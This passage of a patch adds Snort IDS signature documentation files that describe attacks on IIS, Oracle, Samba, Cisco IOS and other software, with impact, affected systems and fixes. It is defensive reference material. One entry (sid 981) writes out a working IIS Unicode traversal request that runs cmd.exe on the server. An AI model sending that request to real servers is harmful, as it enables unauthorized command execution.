+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2676.txt
+++ snort-2.8.5.2/doc/signatures/2676.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2676
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_instantiation
+. This procedure is included in
+dbms_repcat_rgt.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/661.txt
+++ snort-2.8.5.2/doc/signatures/661.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+661
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a problem with Majordomo software that allows arbitrary commands to be executed on the server.
+
+--
+Impact:
+Attempted administrator access.  This is an attempt to execute a command on a server where Majordomo is installed. 
+
+--
+Detailed Information:
+Majordomo is an application that automates mailing list management.  An input validation error allows attackers to use a malformed email header as a command that will be executed on the host.  To be vulnerable, the server must use a list or a hidden list and the configuration file must specify an advertise or noadvertise option.  This has been documented as either a local or remote attack on the host. 
+
+--
+Affected Systems:
+Majordomo versions up to and including 1.94.4.
+
+--
+Attack Scenarios:
+An attacker can send a malformed e-mail header to the Majordomo host.  The host executes a command that facilitates access to the host.
+
+
+--
+Ease of Attack:
+Simple. Use an appropriate malformed header and supply a command that enables access to the host. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to Majordomo version 1.94.5 or higher.
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2310
+
+Arachnids:
+http://www.whitehats.com/info/IDS143
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0207
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1931.txt
+++ snort-2.8.5.2/doc/signatures/1931.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1931
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2972.txt
+++ snort-2.8.5.2/doc/signatures/2972.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+536
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/973.txt
+++ snort-2.8.5.2/doc/signatures/973.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+973
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with a file with a .idc extension. 
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the victim server.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) supports files extensions including .idc that call the ISM.DLL.  A buffer overflow vulnerability exists in ISM.DLL code when it receives a malformed request, permitting the execution of arbitrary code.  
+
+--
+Affected Systems:
+IIS 4.0 hosts
+
+--
+Attack Scenarios:
+An attacker can send a malformed request of a .idc file that causes a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0874
+
+Bugtraq:
+http://www.securityfocus.com/bid/307
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2843.txt
+++ snort-2.8.5.2/doc/signatures/2843.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2843
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repobject
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1942.txt
+++ snort-2.8.5.2/doc/signatures/1942.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1942
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2405.txt
+++ snort-2.8.5.2/doc/signatures/2405.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2405
+
+--
+Summary:
+This event is generated when an attempt is made to access the file "phptest.php".
+BadBlue Personal Edition 2.4 servers could disclose confidential
+information on the software configuration towards an attacker.
+
+--
+Impact:
+Information gathering.
+This signature is usually indicative of a reconaissance probe.
+Succesful exploitation would provide the originator of the attack with the
+installation path of the software.
+
+--
+Detailed Information:
+Web servers running BadBlue Personal Edition 2.4, a
+personal file sharing server, are vulnerable to a path disclosure attack.
+When a client requests the phptest.php file from such a server, the source
+of the HTTP reply page contains the installation path of the software.
+This path can be used as information for further attacks.
+
+--
+Affected Systems:
+	BadBlue Personal Edition 2.4
+
+--
+Attack Scenarios:
+During the reconaissance phase, an attacker could obtain the installation 
+path of the BadBlue server.  This can become valuable information during 
+the later execution of directory traversal or buffer overflow attacks.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+While not a true false positive, many PHP installation howtos advise the 
+creation of a small file "phptest.php" which contains a call for the 
+phpinfo() function.  When this file is accessed legitimately by
+someone testing a fresh install, this signature will also trigger.
+
+NOTE: The amount of information provided (installation directory, version 
+numbers, environment variables), could also constitute a vulnerability 
+if this file is present on a production web server.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Snort documentation contributed by Maarten Van Horenbeeck <maarten@daemon.be>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/981.txt
+++ snort-2.8.5.2/doc/signatures/981.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+981
+
+--
+Summary:
+This event is generated when an attempt is made use a unicode encoded representaion of a "/" in a URL request.  This may permit an attacker to navigate to files and directories outside the web root of a vulnerable Internet Information Services (IIS) server. 
+
+--
+Impact:
+Remote access.  This attack can allow an attacker to execute commands a vulnerable IIS server. 
+
+--
+Detailed Information:
+User access should be restricted to an assigned web root directory and subdirectories when interacting with a web server.  Attackers who attempt to perform directory traversals outside the web root should be denied access.  A vulnerability exists in IIS web servers that allows directory traversal outside the web root directory when unicode encoding of specific characters is used.  This particular attack uses the unicode encoding of the "/" to escape the web root.  This may permit an attacker to execute commands on the vulnerable server. 
+
+--
+Affected Systems:
+IIS 4.0, 5.0 servers
+
+--
+Attack Scenarios:
+An attacker can unicode encode a directory traversal character permitting execution of commands on the IIS server. 
+
+--
+Ease of Attack:
+Simple. 
+GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link. 
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0084
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/481.txt
+++ snort-2.8.5.2/doc/signatures/481.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+481
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Windows host running TJPingPro 1.1 Build 2 software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Windows host running TJPingPro 1.1 Build 2 software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS167
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2563.txt
+++ snort-2.8.5.2/doc/signatures/2563.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2563
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the Symantec Firewall.
+
+--
+Impact:
+A successful attack may cause a heap overflow, permitting the execution
+of arbitrary code on the vulnerable host.
+
+--
+Detailed Information:
+There is a vulnerability in the way the Symantec Firewall handles NetBIOS
+Name Service response packets.  If an attacker crafts a malicious UDP NetBIOS
+Name Service unsolicited response to a vulnerable Symantec Firewall that does
+not block port 137, it is possible to cause a heap overflow and execute
+abitrary code with kernel privileges.  The vulnerability exists because of
+improper validation of the existence of required fields for the NetBIOS name
+returned.  The default configuration does not allow UDP port 137 traffic and
+should not be exploitable if UDP port 137 is blocked.
+
+--
+Affected Systems:
+Symantec Norton Internet Security and Professional 2002,2003,2004
+Symantec Norton Personal Firewall 2002,2003,2004
+Symantec Norton AntiSpam 2004
+Symantec Client Firewall 5.01, 5.1.1
+Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
+
+--
+Attack Scenarios:
+An attacker can craft a malicious UDP NetBIOS Name Service response,
+possibly causing a heap overflow and the subsequent execution of
+arbitrary code with kernel privileges on an exploitable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0444
+
+Bugtraq:
+http://www.securityfocus.com/bid/10335
+
+Misc:
+http://www.eeye.com/html/Research/Advisories/AD20040512C.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000601.txt
+++ snort-2.8.5.2/doc/signatures/100000601.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000601
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_markunpaid.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"inv_markunpaid.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1544.txt
+++ snort-2.8.5.2/doc/signatures/1544.txt
@@ -0,0 +1,78 @@
+Rule:
+--
+Sid:
+1544
+--
+Summary:
+This event is generated when an attempt is made to list the user 
+configuration file on a Cisco router or switch.
+--
+Impact:
+If successful, the switch will reveal the local authentication user 
+configuration file to an attacker without requiring prior 
+authentication.
+--
+Detailed Information:
+The HTTP server that is part of some versions of the Cisco IOS software 
+allows remote command execution when the access control method is set to
+local authentication.
+
+--
+Affected Systems:
+The following Cisco products can be affected.   Whether they actually 
+are vulnerable or not depends on the version of IOS that they are 
+running.   To properly determine if your product is vulnerable, see the 
+Cisco website referenced below.   This is not exploitable if the device 
+is using an access control method other than local authentication.
+Cisco routers in the AGS/MGS/CGS/AGS+, IGS, RSM, 800, ubr900, 1000, 
+1400, 1500, 1600, 1700, 2500, 2600, 3000, 3600, 3800, 4000, 4500, 4700, 
+AS5200, AS5300, AS5800, 6400, 7000, 7100, 7200, ubr7200, 7500, and 12000
+series.
+Most recent versions of the LS1010 ATM switch.
+The Catalyst 6000 and 5000 if they are running Cisco IOS software.
+The Catalyst 2900XL and 3500XL LAN switch only if it is running Cisco 
+IOS software.
+The Catalyst 2900 and 3000 series LAN switches are affected.
+The Cisco Distributed Director.
+--
+Attack Scenarios:
+By making the request to a vulnerable system, an attacker can take 
+complete control of a Cisco device.
+--
+Ease of Attack:
+Simple.  HTTP GET request, a browser may be used.
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+This rule only looks for one particular command (show config cr).
+However, this vulnerability will allow any other command to be executed 
+on the device at the highest privilege level, and this rule will 
+not detect them.
+
+This rule only looks for attacks against systems that are included 
+in the $HTTP_SERVERS group.   Many administrators do not consider 
+routers or switches to be web servers, and therefore may not include 
+vulnerable devices in this group, causing an attack to proceed 
+unnoticed. If you think one of your routers or switches is vulnerable, 
+reference it in the $HTTP_SERVERS group.
+--
+Corrective Action:
+Turn off the web server functionality, use access lists to ensure only 
+trusted hosts have access to the device, use TACACS+ or RADIUS for 
+access control, or upgrade your version of IOS.
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Cisco
+http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000171.txt
+++ snort-2.8.5.2/doc/signatures/100000171.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000171
+
+-- 
+Summary: 
+This event is generated when an overly long Accept: parameter is sent in an 
+HTTP request, which will cause a buffer overflow to occur in the GFI 
+MailSecurity for Exchange/SMTP web interface.
+
+--
+Impact:
+A denial of service will occur in the vulnerable application, and remote code 
+may be executed with the priviliges of the user running the application.
+
+--
+Detailed Information:
+GFI MailSecurity for Exchange/SMTP is an anti-virus program that integrates 
+with Microsoft Exchange servers. Its web interface is vulnerable to a buffer 
+overflow attack, which may be triggered by sending a Accept: parameter of 100 
+or more bytes in an HTTP request. Vulnerable versions of the application will 
+crash, and code may be executed with the priviliges of the user running the 
+program.
+
+--
+Affected Systems:
+GFI MailSecurity for Exchange/SMTP 8.1
+
+--
+Attack Scenarios:
+Attackers will likley exploit this with a script.
+
+--
+Ease of Attack:
+Simple, as no authentication is required, and HTTP is a well-documented 
+protocol, which allows for easy creation of malicious packets.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Download and apply the patch referenced below.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+ftp://ftp.gfi.com/patches/MSEC8_PATCH_20050919_01.zip
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3121.txt
+++ snort-2.8.5.2/doc/signatures/3121.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3121
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2315.txt
+++ snort-2.8.5.2/doc/signatures/2315.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2315
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1060.txt
+++ snort-2.8.5.2/doc/signatures/1060.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1060
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/474.txt
+++ snort-2.8.5.2/doc/signatures/474.txt
@@ -0,0 +1,65 @@
+Rule:
+--
+Sid:
+474
+
+--
+Summary:
+This event is generated when an ICMP Echo Request from the Windows based
+scanner SuperScan is detected.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+SuperScan is a freely available Windows based scanner from Foundstone. 
+The scanners default behavior is to send an ICMP Echo Request before 
+starting the scan. This ICMP packet has a special payload of eight (8) bytes, 
+consisting of the number zero (0).
+
+This scanner is fairly popular among Windows users.
+
+--
+Affected Systems:
+	All
+ 
+--
+Attack Scenarios:
+SuperScan may be used as an information gathering tool to detect active hosts
+on a network by sending icmp echo requests. 
+
+--
+Ease of Attack:
+Simple.  SuperScan is widely available.
+
+--
+False Positives:
+Tools other than SuperScan may generate echo requests with the same content.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Johan Augustsson
+<johan.augustsson@adm.gu.se> and Josh Gray
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Foundstone
+http://www.foundstone.com/
+
+McAfee:
+http://vil.nai.com/vil/content/v_103727.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2558.txt
+++ snort-2.8.5.2/doc/signatures/2558.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2558
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
